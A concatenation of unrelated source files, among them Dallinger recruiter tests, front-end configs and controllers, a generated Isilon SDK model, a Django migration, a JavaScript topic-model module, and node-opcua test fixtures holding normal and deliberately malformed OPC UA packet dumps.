recruiter.open_recruitment(n=recruiter.pool_size - 1)
recruiter.recruit(n=1)
recruiter.mturkservice.extend_hit.assert_not_called()
recruiter.recruit(n=1)
recruiter.mturkservice.extend_hit.assert_called_once_with(
"fake HIT id", duration_hours=1.0, number=1
)
def test_recruits_more_immediately_if_initial_recruitment_exceeds_pool_size(
self, recruiter
):
recruiter.open_recruitment(n=recruiter.pool_size + 1)
recruiter.recruit(n=5)
recruiter.mturkservice.extend_hit.assert_called_once_with(
"fake HIT id", duration_hours=1.0, number=5
)
def test_recruit_auto_recruit_off_does_not_extend_hit(self, recruiter):
recruiter.config["auto_recruit"] = False
recruiter.recruit()
assert not recruiter.mturkservice.extend_hit.called
@pytest.mark.usefixtures("active_config", "db_session")
class TestMultiRecruiter(object):
@pytest.fixture
def recruiter(self, active_config):
from dallinger.recruiters import MultiRecruiter
active_config.extend({"recruiters": u"cli: 2, hotair: 1"})
return MultiRecruiter()
def test_parse_spec(self, recruiter):
assert recruiter.spec == [("cli", 2), ("hotair", 1)]
def test_pick_recruiter(self, recruiter):
recruiters = list(recruiter.recruiters(3))
assert len(recruiters) == 2
subrecruiter, count = recruiters[0]
assert subrecruiter.nickname == "cli"
assert count == 2
subrecruiter, count = recruiters[1]
assert subrecruiter.nickname == "hotair"
assert count == 1
def test_open_recruitment(self, recruiter):
result = recruiter.open_recruitment(n=3)
assert len(result["items"]) == 3
assert result["items"][0].startswith("http://0.0.0.0:5000/ad?recruiter=cli")
assert result["items"][1].startswith("http://0.0.0.0:5000/ad?recruiter=cli")
assert result["items"][2].startswith("http://0.0.0.0:5000/ad?recruiter=hotair")
def test_open_recruitment_over_recruit(self, recruiter):
result = recruiter.open_recruitment(n=5)
assert len(result["items"]) == 3
assert result["items"][0].startswith("http://0.0.0.0:5000/ad?recruiter=cli")
assert result["items"][1].startswith("http://0.0.0.0:5000/ad?recruiter=cli")
assert result["items"][2].startswith("http://0.0.0.0:5000/ad?recruiter=hotair")
def test_open_recruitment_twice(self, recruiter):
result = recruiter.open_recruitment(n=1)
assert len(result["items"]) == 1
assert result["items"][0].startswith("http://0.0.0.0:5000/ad?recruiter=cli")
result2 = recruiter.open_recruitment(n=3)
assert len(result2["items"]) == 2
assert result2["items"][0].startswith("http://0.0.0.0:5000/ad?recruiter=cli")
assert result2["items"][1].startswith("http://0.0.0.0:5000/ad?recruiter=hotair")
def test_recruit(self, recruiter):
result = recruiter.recruit(n=3)
assert len(result) == 3
assert result[0].startswith("http://0.0.0.0:5000/ad?recruiter=cli")
assert result[1].startswith("http://0.0.0.0:5000/ad?recruiter=cli")
assert result[2].startswith("http://0.0.0.0:5000/ad?recruiter=hotair")
def test_over_recruit(self, recruiter):
result = recruiter.recruit(n=5)
assert len(result) == 3
assert result[0].startswith("http://0.0.0.0:5000/ad?recruiter=cli")
assert result[1].startswith("http://0.0.0.0:5000/ad?recruiter=cli")
assert result[2].startswith("http://0.0.0.0:5000/ad?recruiter=hotair")
def test_recruit_partial(self, recruiter):
result = recruiter.open_recruitment(n=1)
assert len(result["items"]) == 1
assert result["items"][0].startswith("http://0.0.0.0:5000/ad?recruiter=cli")
result2 = recruiter.recruit(n=3)
assert len(result2) == 2
assert result2[0].startswith("http://0.0.0.0:5000/ad?recruiter=cli")
assert result2[1].startswith("http://0.0.0.0:5000/ad?recruiter=hotair")
result3 = recruiter.recruit(n=2)
assert len(result3) == 0
def test_recruit_batches(self, active_config):
from dallinger.recruiters import MultiRecruiter
active_config.extend({"recruiters": u"cli: 2, hotair: 1, cli: 3, hotair: 2"})
recruiter = MultiRecruiter()
result = recruiter.recruit(n=10)
assert len(result) == 8
assert result[0].startswith("http://0.0.0.0:5000/ad?recruiter=cli")
assert result[1].startswith("http://0.0.0.0:5000/ad?recruiter=cli")
assert result[2].startswith("http://0.0.0.0:5000/ad?recruiter=hotair")
assert result[3].startswith("http://0.0.0.0:5000/ad?recruiter=cli")
assert result[4].startswith("http://0.0.0.0:5000/ad?recruiter=cli")
assert result[5].startswith("http://0.0.0.0:5000/ad?recruiter=cli")
assert result[6].startswith("http://0.0.0.0:5000/ad?recruiter=hotair")
assert result[7].startswith("http://0.0.0.0:5000/ad?recruiter=hotair")
def test_close_recruitment(self, recruiter):
patch1 = mock.patch("dallinger.recruiters.CLIRecruiter.close_recruitment")
patch2 = mock.patch("dallinger.recruiters.HotAirRecruiter.close_recruitment")
with patch1 as f1, patch2 as f2:
recruiter.close_recruitment()
f1.assert_called_once()
f2.assert_called_once()
|
const { trueGray } = require('tailwindcss/colors');
const { colors } = require('tailwindcss/defaultTheme');
module.exports = {
darkMode: 'media',
mode: 'jit',
plugins: [
require('tailwindcss-only-child'),
require('@tailwindcss/typography'),
],
purge: ['./pages/**/*.tsx', './components/**/*.tsx', './layouts/**/*.tsx'],
theme: {
colors: {
...colors,
gray: trueGray,
},
extend: {},
},
variants: {
borderRadius: ['responsive', 'only'],
},
};
|
import Controller from '@ember/controller';
import { computed, action } from '@ember-decorators/object';
import { A } from '@ember/array';
import faker from 'faker';
export default class FilteringController extends Controller {
numberOfRows = 10;
@computed('numberOfRows')
get data() {
return A(Array.from(Array(this.get('numberOfRows')), () => {
return {
firstName: faker.name.firstName(),
lastName: faker.name.lastName(),
points: faker.random.number({ min: 0, max: 100 })
};
}));
}
// BEGIN-SNIPPET filtering-custom.js
@action
filterPoints(points, { min, max }) {
min = parseInt(min);
max = parseInt(max);
if ((isNaN(min) && isNaN(max)) ||
(isNaN(min) && points <= max) ||
(min <= points && isNaN(max)) ||
(min <= points && points <= max)) {
return true;
}
return false;
}
// END-SNIPPET
}
|
# coding: utf-8
"""
Isilon SDK
Isilon SDK - Language bindings for the OneFS API # noqa: E501
OpenAPI spec version: 3
Contact: sdk@isilon.com
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
import pprint
import re # noqa: F401
import six
from isi_sdk_8_0.models.settings_krb5_domain import SettingsKrb5Domain # noqa: F401,E501
class SettingsKrb5DomainCreateParams(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
"""
"""
Attributes:
swagger_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
swagger_types = {
'realm': 'str',
'domain': 'str'
}
attribute_map = {
'realm': 'realm',
'domain': 'domain'
}
def __init__(self, realm=None, domain=None): # noqa: E501
"""SettingsKrb5DomainCreateParams - a model defined in Swagger""" # noqa: E501
self._realm = None
self._domain = None
self.discriminator = None
self.realm = realm
self.domain = domain
@property
def realm(self):
"""Gets the realm of this SettingsKrb5DomainCreateParams. # noqa: E501
Specifies the name of the realm. # noqa: E501
:return: The realm of this SettingsKrb5DomainCreateParams. # noqa: E501
:rtype: str
"""
return self._realm
@realm.setter
def realm(self, realm):
"""Sets the realm of this SettingsKrb5DomainCreateParams.
Specifies the name of the realm. # noqa: E501
:param realm: The realm of this SettingsKrb5DomainCreateParams. # noqa: E501
:type: str
"""
if realm is None:
raise ValueError("Invalid value for `realm`, must not be `None`") # noqa: E501
self._realm = realm
@property
def domain(self):
"""Gets the domain of this SettingsKrb5DomainCreateParams. # noqa: E501
Specifies the name of the domain. # noqa: E501
:return: The domain of this SettingsKrb5DomainCreateParams. # noqa: E501
:rtype: str
"""
return self._domain
@domain.setter
def domain(self, domain):
"""Sets the domain of this SettingsKrb5DomainCreateParams.
Specifies the name of the domain. # noqa: E501
:param domain: The domain of this SettingsKrb5DomainCreateParams. # noqa: E501
:type: str
"""
if domain is None:
raise ValueError("Invalid value for `domain`, must not be `None`") # noqa: E501
self._domain = domain
def to_dict(self):
"""Returns the model properties as a dict"""
result = {}
for attr, _ in six.iteritems(self.swagger_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
result[attr] = value
return result
def to_str(self):
"""Returns the string representation of the model"""
return pprint.pformat(self.to_dict())
def __repr__(self):
"""For `print` and `pprint`"""
return self.to_str()
def __eq__(self, other):
"""Returns true if both objects are equal"""
if not isinstance(other, SettingsKrb5DomainCreateParams):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other):
"""Returns true if both objects are not equal"""
return not self == other
|
/******/ (() => { // webpackBootstrap
/******/ var __webpack_modules__ = ({
/***/ 378:
/***/ ((module) => {
"use strict";
module.exports = require("external-replace/replaced/some-file");
/***/ }),
/***/ 830:
/***/ ((module) => {
"use strict";
module.exports = require("externalmapped");
/***/ }),
/***/ 958:
/***/ ((module) => {
"use strict";
module.exports = require("regexexternal");
/***/ })
/******/ });
/************************************************************************/
/******/ // The module cache
/******/ var __webpack_module_cache__ = {};
/******/
/******/ // The require function
/******/ function __nccwpck_require__(moduleId) {
/******/ // Check if module is in cache
/******/ var cachedModule = __webpack_module_cache__[moduleId];
/******/ if (cachedModule !== undefined) {
/******/ return cachedModule.exports;
/******/ }
/******/ // Create a new module (and put it into the cache)
/******/ var module = __webpack_module_cache__[moduleId] = {
/******/ // no module.id needed
/******/ // no module.loaded needed
/******/ exports: {}
/******/ };
/******/
/******/ // Execute the module function
/******/ var threw = true;
/******/ try {
/******/ __webpack_modules__[moduleId](module, module.exports, __nccwpck_require__);
/******/ threw = false;
/******/ } finally {
/******/ if(threw) delete __webpack_module_cache__[moduleId];
/******/ }
/******/
/******/ // Return the exports of the module
/******/ return module.exports;
/******/ }
/******/
/************************************************************************/
/******/ /* webpack/runtime/compat */
/******/
/******/ if (typeof __nccwpck_require__ !== 'undefined') __nccwpck_require__.ab = __dirname + "/";
/******/
/************************************************************************/
var __webpack_exports__ = {};
// This entry need to be wrapped in an IIFE because it need to be isolated against other modules in the chunk.
(() => {
const external = __nccwpck_require__(830);
const regexpExternal = __nccwpck_require__(958);
const regexpExternalMatch = __nccwpck_require__(378)
console.log(external);
console.log(regexpExternal);
console.log(regexpExternalMatch);
})();
module.exports = __webpack_exports__;
/******/ })()
;
|
# Generated by Django 3.0.6 on 2020-10-04 17:50
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('users', '0034_auto_20201004_1445'),
]
operations = [
migrations.AddField(
model_name='character',
name='grasta_1',
field=models.ForeignKey(default=1, on_delete=django.db.models.deletion.CASCADE, related_name='grasta_1', to='users.Character_Grasta'),
),
migrations.AddField(
model_name='character',
name='grasta_2',
field=models.ForeignKey(default=1, on_delete=django.db.models.deletion.CASCADE, related_name='grasta_2', to='users.Character_Grasta'),
),
migrations.AddField(
model_name='character',
name='grasta_3',
field=models.ForeignKey(default=1, on_delete=django.db.models.deletion.CASCADE, related_name='grasta_3', to='users.Character_Grasta'),
),
migrations.AddField(
model_name='character',
name='grasta_4',
field=models.ForeignKey(default=1, on_delete=django.db.models.deletion.CASCADE, related_name='grasta_4', to='users.Character_Grasta'),
),
]
|
/*global d3, utils, bib, Worker */
"use strict";
var model;
// model specification
// -------------------
// data stored internally as follows:
// tw: array of d3.map()s keyed to words as strings
// alpha: alpha values for topics
// meta: object holding document citations
// graph: object stored topic nodes & links
model = function (spec) {
var my = spec || {}, // private members
that = {}, // resultant object
ready, // accessors and pseudo-accessors
n_docs,
topic_id,
topic_index,
tw,
n,
n_top_words,
proper,
total_tokens,
topic_total,
alpha,
meta,
meta_condition,
doc_category,
bib,
vocab,
topic_scaled,
topic_conditional, // slicing by metadata variable
conditional_total,
topic_docs, // most salient _ in _
topic_docs_conditional,
topic_words,
doc_topics,
word_topics,
topic_label,
set_topic_labels,
set_topic_ids,
set_dt, // methods for loading model data
set_tw,
set_topic_scaled;
my.ready = {};
my.worker = new Worker("js/worker.js");
my.worker.fs = d3.map();
my.worker.onmessage = function (e) {
var f = my.worker.fs.get(e.data.what);
if (f) {
f(e.data.result);
}
};
my.worker.callback = function (key, f) {
my.worker.fs.set(key, f);
};
n_docs = function () {
var result;
if (my.n_docs !== undefined) {
result = my.n_docs;
} else if (my.meta) {
result = my.meta.n_docs();
}
return result; // undefined if my.meta is missing
};
that.n_docs = n_docs;
// says whether a component has been loaded
ready = function (key) {
return !!my.ready[key];
};
that.ready = ready;
topic_index = function (id) {
if (!my.topic_ids) {
return +id - 1;
}
return my.topic_ids.get(id);
};
that.topic_index = topic_index;
topic_id = function (i) {
if (!my.ids) {
return +i + 1;
}
return my.ids[i];
};
that.topic_id = topic_id;
// access top key words per topic
tw = function (t, word) {
if (!my.tw) {
return undefined;
}
// tw() for the whole list of hashes
if (t === undefined) {
return my.tw;
}
// tw(t) for a particular topic
if (word === undefined) {
return my.tw[t];
}
// tw(t, word) for the weight of word in topic t
return my.tw[t].get(word);
};
that.tw = tw;
// number of topics
n = function () {
return my.n;
};
that.n = n;
// number of top words per topic stored in tw
n_top_words = function () {
if (!this.tw()) {
return undefined;
}
return my.tw[0].keys().length;
};
that.n_top_words = n_top_words;
proper = function () {
return my.proper;
};
that.proper = proper;
total_tokens = function (callback) {
if (!my.total_tokens) {
my.worker.callback("total_tokens", function (tot) {
my.total_tokens = tot;
callback(tot);
});
my.worker.postMessage({ what: "total_tokens" });
} else {
callback(my.total_tokens);
}
};
that.total_tokens = total_tokens;
topic_total = function (t, callback) {
var topic = isFinite(t) ? t : "all";
my.worker.callback("topic_total/" + topic, callback);
my.worker.postMessage({
what: "topic_total",
t: topic
});
};
that.topic_total = topic_total;
// alpha hyperparameters
alpha = function (t) {
if (!my.alpha) {
return undefined;
}
// alpha() for all of them or alpha(t) for just one
return isFinite(t) ? my.alpha[t] : my.alpha;
};
that.alpha = alpha;
// metadata object getter / setter
meta = function (meta) {
if (meta) {
my.meta = meta;
my.ready.meta = true;
}
return my.meta;
};
that.meta = meta;
// Main method for getting/setting metadata conditions. The getter returns
// the conditional key object (a function with the `invert` property,
// itself a function); the setter calls metadata().condition, which sets up
// the conditional key object, then caches the keys for all documents on a
// separate thread. When this cacheing is finished, a callback (if present)
// is invoked.
meta_condition = function (cond, key, spec, callback) {
if (key !== undefined) {
if (!my.ready["meta_" + cond]) {
my.meta.condition(cond, key, spec);
doc_category(cond, my.meta.condition(cond), callback);
} else if (typeof callback === "function") {
callback();
}
}
return my.meta.condition(cond);
};
that.meta_condition = meta_condition;
doc_category = function (v, f, callback) {
var doc_keys;
// calculate and store document keys
doc_keys = my.meta.doc().map(f);
my.worker.callback("set_doc_categories/" + v, function (result) {
my.ready["meta_" + v] = result;
if (typeof callback === "function") {
callback();
}
});
my.worker.postMessage({
what: "set_doc_categories",
v: v,
keys: doc_keys
});
};
// expose metadata's bib object
bib = function () {
if (!my.meta) {
return undefined;
}
return my.meta.bib();
};
that.bib = bib;
// aggregate vocabulary of all top words for some or all topics
vocab = function (t) {
var result = d3.set(),
tws;
if (!tw()) {
return undefined;
}
if (isFinite(t)) {
// single topic
tw(t).keys().forEach(result.add);
} else {
if (t === undefined) {
// all topics
tws = tw();
} else {
// array of indices
tws = t.map(function (t) {
return that.tw(t);
});
}
tws.forEach(function (topic) {
topic.keys().forEach(function (w) {
result.add(w);
});
});
}
return result.values().sort();
};
that.vocab = vocab;
// scaled coordinates for topics
topic_scaled = function (t) {
if (!my.topic_scaled) {
return undefined;
}
// topic_scaled() for all of them
if (t === undefined) {
return my.topic_scaled;
}
else
{
return undefined;
}
};
that.topic_scaled = topic_scaled;
// get aggregate topic counts over some metadata category v
conditional_total = function (v, key, callback) {
var k = (key === undefined) ? "all" : key,
f = (k !== "all") ? callback
: function (tot) {
callback(d3.map(tot));
};
my.worker.callback("conditional_total/" + v + "/" + k, f);
my.worker.postMessage({
what: "conditional_total",
v: v,
key: k
});
};
that.conditional_total = conditional_total;
// conditional proportions for topic t
topic_conditional = function (t, v, callback) {
var topic = (t === undefined) ? "all" : t,
f;
if (topic === "all") {
f = function (cond) {
callback(cond.map(d3.map));
};
} else {
f = function (cond) {
callback(d3.map(cond));
};
}
my.worker.callback("topic_conditional/" + v + "/" + topic, f);
my.worker.postMessage({
what: "topic_conditional",
t: topic,
v: v
});
};
that.topic_conditional = topic_conditional;
// Get n top documents for topic t. Uses a naive document ranking,
// by the proportion of words assigned to t, which does *not*
// necessarily give the docs where t is most salient
topic_docs = function (t, n, callback) {
// brute force solution for top n docs within a category:
// rank all of them, then take the top n
my.worker.callback("topic_docs/" + t + "/" + n, callback);
my.worker.postMessage({
what: "topic_docs",
t: t,
n: n
});
};
that.topic_docs = topic_docs;
// Like topic docs, but restrict to docs with v == key
topic_docs_conditional = function (t, v, key, n, callback) {
my.worker.callback(
["topic_docs_conditional", t, v, key, n].join("/"),
callback);
my.worker.postMessage({
what: "topic_docs_conditional",
t: t,
v: v,
key: key,
n: n
});
};
that.topic_docs_conditional = topic_docs_conditional;
// Get n top topics for document d. Unlike with docs, no reason to
// go to lengths to avoid sorting n_topics entries, since
// n_topics << n_docs. The expensive step is the row slice, which we
// have to do anyway.
doc_topics = function (d, n, callback) {
my.worker.callback("doc_topics/" + d + "/" + n, callback);
my.worker.postMessage({
what: "doc_topics",
d: d,
n: n
});
};
that.doc_topics = doc_topics;
// Get n top words for topic t.
topic_words = function (t, n) {
var n_words = n || this.n_top_words(),
words;
if (t === undefined) {
return d3.range(this.n()).map(function (topic) {
return that.topic_words(topic, n);
});
}
words = this.tw(t).entries(); // d3.map method
words.sort(function (w1, w2) {
return d3.descending(w1.value, w2.value) ||
d3.ascending(w1.key, w2.key); // stabilize sort: alphabetical
});
return utils.shorten(words, n_words, function (ws, i) {
return ws[i].value;
})
.map(function (w) {
return {
word: w.key,
weight: w.value
};
});
};
that.topic_words = topic_words;
// Get n top topics for a word.
word_topics = function (word, n) {
var t, row, word_wt,
n_topics = n || this.n_top_words(),
result = [],
calc_rank = function (row) {
// zero-based rank = (# of words strictly greater than word)
return row.values().reduce(function (acc, cur) {
return cur > word_wt ? acc + 1 : acc;
},
0);
};
var ww = word.split("&"), i;
for (t = 0; t < this.n(); t += 1) {
row = this.tw(t);
for (i = 0; i < ww.length; i++) {
if (row.has(ww[i])) {
word_wt = row.get(ww[i]);
result.push({
topic: t,
rank: calc_rank(row)
});
}
};
}
result.sort(function (a, b) {
return d3.ascending(a.rank, b.rank) ||
d3.ascending(a.topic, b.topic); // stabilize sort
});
return utils.shorten(result, n_topics, function (topics, i) {
return topics[i].rank;
});
};
that.word_topics = word_topics;
topic_label = function (t) {
var t_s = String(t + 1);
// expect names keyed to 1-indexed numbers (easier to edit)
if (my.topic_labels && my.topic_labels[t_s]) {
return my.topic_labels[t_s];
}
// default name: use a no-break space
return "Topic" + "\u00a0" + topic_id(t);
};
that.topic_label = topic_label;
set_topic_labels = function (lbls) {
my.topic_labels = lbls;
};
that.set_topic_labels = set_topic_labels;
set_topic_ids = function (ids) {
my.ids = ids;
if (Array.isArray(my.ids)) {
// if wrong number of IDs, bail
if (my.n && my.ids.length !== my.n) {
my.ids = undefined;
return;
}
my.topic_ids = d3.map();
ids.forEach(function (id, j) {
my.topic_ids.set(id, j);
});
}
};
that.set_topic_ids = set_topic_ids;
// load tw from a string of JSON
set_tw = function (tw_s) {
var parsed;
if (typeof tw_s !== 'string') {
return;
}
parsed = JSON.parse(tw_s);
my.alpha = parsed.alpha;
my.tw = parsed.tw.map(function (topic) {
var result = d3.map();
topic.words.map(function (w, j) {
result.set( w.toLowerCase(), topic.weights[j]);
});
return result;
});
if (!my.n) {
my.n = my.alpha.length;
}
my.ready.tw = true;
};
that.set_tw = set_tw;
// load dt from a string of JSON
// callback should take one parameter, a Boolean indicating success
set_dt = function (dt_s, callback) {
if (typeof dt_s !== 'string') {
callback(false);
}
my.worker.callback("set_dt", function (result) {
my.ready.dt = result.success;
my.proper = result.proper;
callback(result);
});
my.worker.postMessage({
what: "set_dt",
dt: JSON.parse(dt_s)
});
};
that.set_dt = set_dt;
// load scaled topic coordinates from a string of CSV lines
set_topic_scaled = function (ts_s) {
var graph;
if (typeof ts_s !== 'string') {
return;
}
graph = JSON.parse(ts_s);
my.topic_scaled = graph;
my.ready.topic_scaled = true;
};
that.set_topic_scaled = set_topic_scaled;
return that;
};
|
var structDetectUrilenData__ =
[
[ "mode", "structDetectUrilenData__.html#af2085cb62ee31cabc7c98eca1fe40072", null ],
[ "raw_buffer", "structDetectUrilenData__.html#a0406f3f262bf6eb17968a1cff9e697bb", null ],
[ "urilen1", "structDetectUrilenData__.html#a6912c9aaf26c81fe654b668ae9451da5", null ],
[ "urilen2", "structDetectUrilenData__.html#a721de09f80da99fab55573e469d4cae4", null ]
];
|
"""
This is a test plug-in that raises exceptions.
"""
def raise_exc(caller='unknown function'):
raise ValueError("Arbitrary exception occured during {}".format(caller))
def register(meta):
meta.name = "Exceptions"
meta.id = "test:exception_raiser"
#raise_exc("register")
def conf(*_, **__):
raise ValueError("Test exception raised in 'configure' method")
def run(*_, **__):
raise ValueError("Test exception raised in 'run' method")
|
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.random_packet = exports.packect_outtec = exports.activateSesionResponse = exports.activateSesionRequest = exports.packet_cs_6 = exports.closeSecureChannelResponse = exports.closeSecureChannelRequest1 = exports.getEndpointsRequest2_chunk2 = exports.getEndpointsRequest2_chunk1 = exports.altered_getEndpointsRequest1 = exports.getEndpointsRequest1 = exports.openSecureChannelResponse1 = exports.altered_openChannelRequest2 = exports.altered_openChannelRequest1 = exports.openChannelRequest1 = exports.ackResponse1 = exports.altered_helloMessage3 = exports.altered_helloMessage2 = exports.altered_helloMessage1 = exports.helloMessage1 = void 0;
// tslint:disable:variable-name
// tslint:disable:max-line-length
const node_opcua_debug_1 = require("node-opcua-debug");
exports.helloMessage1 = (0, node_opcua_debug_1.makeBufferFromTrace)(`
00000000: 48 45 4c 46 4f 00 00 00 00 00 00 00 ff ff 00 00 ff ff 00 00 00 00 40 00 00 00 00 00 2f 00 00 00 HELFO.................@...../...
00000020: 6f 70 63 2e 74 63 70 3a 2f 2f 74 61 74 74 61 74 61 3a 36 32 35 34 33 2f 41 41 41 41 41 2f 41 67 opc.tcp://tattata:62543/AAAAA/Ag
00000040: 67 72 65 67 61 74 69 6f 6e 53 65 72 76 65 72 gregationServer
`);
// same as helloMessage1 but with a altered endpointUri Length = 0 ---ff added here-----------------+
// |
// v
exports.altered_helloMessage1 = (0, node_opcua_debug_1.makeBufferFromTrace)(`
00000000: 48 45 4c 46 4f 00 00 00 00 00 00 00 ff ff 00 00 ff ff 00 00 00 00 40 00 00 00 00 00 2f ff 00 00 HELFO.................@...../...
00000020: 6f 70 63 2e 74 63 70 3a 2f 2f 74 61 74 74 61 74 61 3a 36 32 35 34 33 2f 41 41 41 41 41 2f 41 67 opc.tcp://tattata:62543/AAAAA/Ag
00000040: 67 72 65 67 61 74 69 6f 6e 53 65 72 76 65 72 gregationServer
`);
exports.altered_helloMessage2 = Buffer.from("48454c46390000000000000000000100000001000000000000000000595555556f70632e7463703a2f2f6c6f63616c686f73743a343834302f", "hex");
exports.altered_helloMessage3 = Buffer.from("48454c46390000000000000000000100000001000000000000000000020000106f70632e7463703a2f2f6c6f63616c686f73743a343834302f", "hex");
exports.ackResponse1 = (0, node_opcua_debug_1.makeBufferFromTrace)(`
00000000: 41 43 4b 46 1c 00 00 00 00 00 00 00 ff ff 00 00 ff ff 00 00 00 00 40 00 00 00 00 00 ACKF..................@.....
`);
// client -> server : packet length 132 => OpenSecureChannelRequest
exports.openChannelRequest1 = (0, node_opcua_debug_1.makeBufferFromTrace)(`
00000000: 4f 50 4e 46 84 00 00 00 00 00 00 00 2f 00 00 00 68 74 74 70 3a 2f 2f 6f 70 63 66 6f 75 6e 64 61 OPNF......../...http://opcfounda
00000020: 74 69 6f 6e 2e 6f 72 67 2f 55 41 2f 53 65 63 75 72 69 74 79 50 6f 6c 69 63 79 23 4e 6f 6e 65 ff tion.org/UA/SecurityPolicy#None.
00000040: ff ff ff ff ff ff ff 01 00 00 00 02 00 00 00 01 00 be 01 00 00 43 b2 42 d9 d0 1d cf 01 00 00 00 .................>...C2BYP.O....
00000060: 00 00 00 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ................................
00000080: 80 ee 36 00 .n6.
`);
// altered_openChannelRequest
// 00000000: 50 50 instead of 00000000: 4f 50
exports.altered_openChannelRequest1 = (0, node_opcua_debug_1.makeBufferFromTrace)(`
00000000: 50 50 4e 46 84 00 00 00 00 00 00 00 2f 00 00 00 68 74 74 70 3a 2f 2f 6f 70 63 66 6f 75 6e 64 61 PPNF......../...http://opcfounda
00000020: 74 69 6f 6e 2e 6f 72 67 2f 55 41 2f 53 65 63 75 72 69 74 79 50 6f 6c 69 63 79 23 4e 6f 6e 65 ff tion.org/UA/SecurityPolicy#None.
00000040: ff ff ff ff ff ff ff 01 00 00 00 02 00 00 00 01 00 be 01 00 00 43 b2 42 d9 d0 1d cf 01 00 00 00 .................>...C2BYP.O....
00000060: 00 00 00 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ................................
00000080: 80 ee 36 00 .n6.
`);
// 00000000: 4f 50 4e 46 84 00 00 00 00 00 00 00 2f FF FF instead of 2F 00 00
exports.altered_openChannelRequest2 = (0, node_opcua_debug_1.makeBufferFromTrace)(`
00000000: 4f 50 4e 46 84 00 00 00 00 00 00 00 2f FF FF 00 68 74 74 70 3a 2f 2f 6f 70 63 66 6f 75 6e 64 61 PPNF......../...http://opcfounda
00000020: 74 69 6f 6e 2e 6f 72 67 2f 55 41 2f 53 65 63 75 72 69 74 79 50 6f 6c 69 63 79 23 4e 6f 6e 65 ff tion.org/UA/SecurityPolicy#None.
00000040: ff ff ff ff ff ff ff 01 00 00 00 02 00 00 00 01 00 be 01 00 00 43 b2 42 d9 d0 1d cf 01 00 00 00 .................>...C2BYP.O....
00000060: 00 00 00 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ................................
00000080: 80 ee 36 00 .n6.
`);
// server -> client : packet length 135 => OpenSecureChannelResponse
exports.openSecureChannelResponse1 = (0, node_opcua_debug_1.makeBufferFromTrace)(`
00000000: 4f 50 4e 46 87 00 00 00 0a 00 00 00 2f 00 00 00 68 74 74 70 3a 2f 2f 6f 70 63 66 6f 75 6e 64 61 OPNF......../...http://opcfounda
00000020: 74 69 6f 6e 2e 6f 72 67 2f 55 41 2f 53 65 63 75 72 69 74 79 50 6f 6c 69 63 79 23 4e 6f 6e 65 ff tion.org/UA/SecurityPolicy#None.
00000040: ff ff ff ff ff ff ff 01 00 00 00 01 00 00 00 01 00 c1 01 4b 87 44 d9 d0 1d cf 01 01 00 00 00 00 .................A.K.DYP.O......
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 00 00 00 01 00 00 00 ed c3 43 d9 d0 1d cf 01 80 .......................mCCYP.O..
00000080: ee 36 00 00 00 00 00 n6.....
`);
// client -> server : packet length 116 => GetEndpointsRequest
exports.getEndpointsRequest1 = (0, node_opcua_debug_1.makeBufferFromTrace)(`
00000000: 4d 53 47 46 74 00 00 00 0a 00 00 00 01 00 00 00 02 00 00 00 01 00 00 00 01 00 ac 01 00 00 b7 19 MSGFt.....................,...7.
00000020: 40 d9 d0 1d cf 01 01 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 00 00 00 2f 00 00 00 6f 70 63 @YP.O..................../...opc
00000040: 2e 74 63 70 3a 2f 2f 74 61 74 74 61 74 61 3a 36 32 35 34 33 2f 41 41 41 41 41 2f 41 67 67 72 65 .tcp://tattata:62543/AAAAA/Aggre
00000060: 67 61 74 69 6f 6e 53 65 72 76 65 72 00 00 00 00 00 00 00 00 gationServer........
`);
exports.altered_getEndpointsRequest1 = (0, node_opcua_debug_1.makeBufferFromTrace)(`
00000000: 4d 53 47 46 74 00 00 00 0a 00 00 00 01 00 00 00 02 00 00 00 01 00 00 00 01 00 ac 01 00 00 b7 19 MSGFt.....................,...7.
00000020: 40 d9 d0 1d cf 01 01 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 00 00 00 2f FF FF FF 6f 70 63 @YP.O..................../...opc
00000040: 2e 74 63 70 3a 2f 2f 74 61 74 74 61 74 61 3a 36 32 35 34 33 2f 41 41 41 41 41 2f 41 67 67 72 65 .tcp://tattata:62543/AAAAA/Aggre
00000060: 67 61 74 69 6f 6e 53 65 72 76 65 72 00 00 00 00 00 00 00 00 gationServer........
`);
// server -> client : packet length 4380 => GetEndpointsResponse 1/2
exports.getEndpointsRequest2_chunk1 = (0, node_opcua_debug_1.makeBufferFromTrace)(`
00000000: 4d 53 47 46 e0 1f 00 00 0a 00 00 00 01 00 00 00 02 00 00 00 01 00 00 00 01 00 af 01 ec 46 47 d9 MSGF....................../.lFGY
00000020: d0 1d cf 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 00 00 00 2f 00 00 00 6f 70 63 2e P.O...................../...opc.
00000040: 74 63 70 3a 2f 2f 74 61 74 74 61 74 61 3a 36 32 35 34 32 2f 41 41 41 41 41 2f 41 67 67 72 65 67 tcp://tattata:62542/AAAAA/Aggreg
00000060: 61 74 69 6f 6e 53 65 72 76 65 72 28 00 00 00 75 72 6e 3a 6c 6f 63 61 6c 68 6f 73 74 3a 55 41 3a ationServer(...urn:localhost:UA:
00000080: 41 41 41 41 41 3a 41 67 67 72 65 67 61 74 69 6f 6e 53 65 72 76 65 72 22 00 00 00 75 72 69 3a 61 AAAAA:AggregationServer"...uri:a
